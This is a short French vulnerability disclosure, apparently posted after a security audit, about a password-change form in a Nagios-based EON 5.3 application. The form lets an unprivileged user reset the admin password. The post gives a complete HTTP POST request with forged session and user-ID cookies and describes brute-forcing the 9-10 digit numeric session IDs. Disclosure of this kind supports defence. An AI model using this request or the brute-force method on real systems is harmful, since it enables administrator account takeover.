Modif de password admin via compte sans privilège.

Hello,

Lors d'un audit, j'ai pu modifier le password admin de l'appli a partir d'un compte sans privilège.

Le FORM de modification de mot de passe ne demande pas le MDP actuel, si l'on connait le nom du compte "admin" et qu'on a un accès initial (même sans privilège) à l'application, il devient possible de changer le MDP d'un compte donné car les ID de sessions sont écrient en base, ne comportent que du NUMERIC et contiennent en 9 et 10 caractères (si on a un accès a la base, c'est même très simple, il suffit de prendre le dernier "session_id" de "l'user_id 1" puis d'envoyer la requête POST suivante :
**************************************************************************************
POST /module/module_password/index.php HTTP/1.1
Host: IP du nagios
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://IP_NAGIOS/module/module_password/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: https://IP_NAGIOS
DNT: 1
Connection: close
Cookie: session_id=**ID_DE_SESSION**; user_name=**USERNAME_a_modifier_selon_les_cas**; user_id=**1**; user_limitation=0; group_id=**1**
Upgrade-Insecure-Requests: 1

user_password1=**NOUVEAU_MDP**&user_password2=**NOUVEAU_MDP**&update=update

**************************************************************************************

Il devient trivial à partir de l'à de brut-forcer l'ID de session avec des strings aléatoire contenants entre 9 et 10 char NUMERIC et de mofidifier le MDP à sa guise.

(testé sur eon 5.3 / mariaDB: 5.5.65)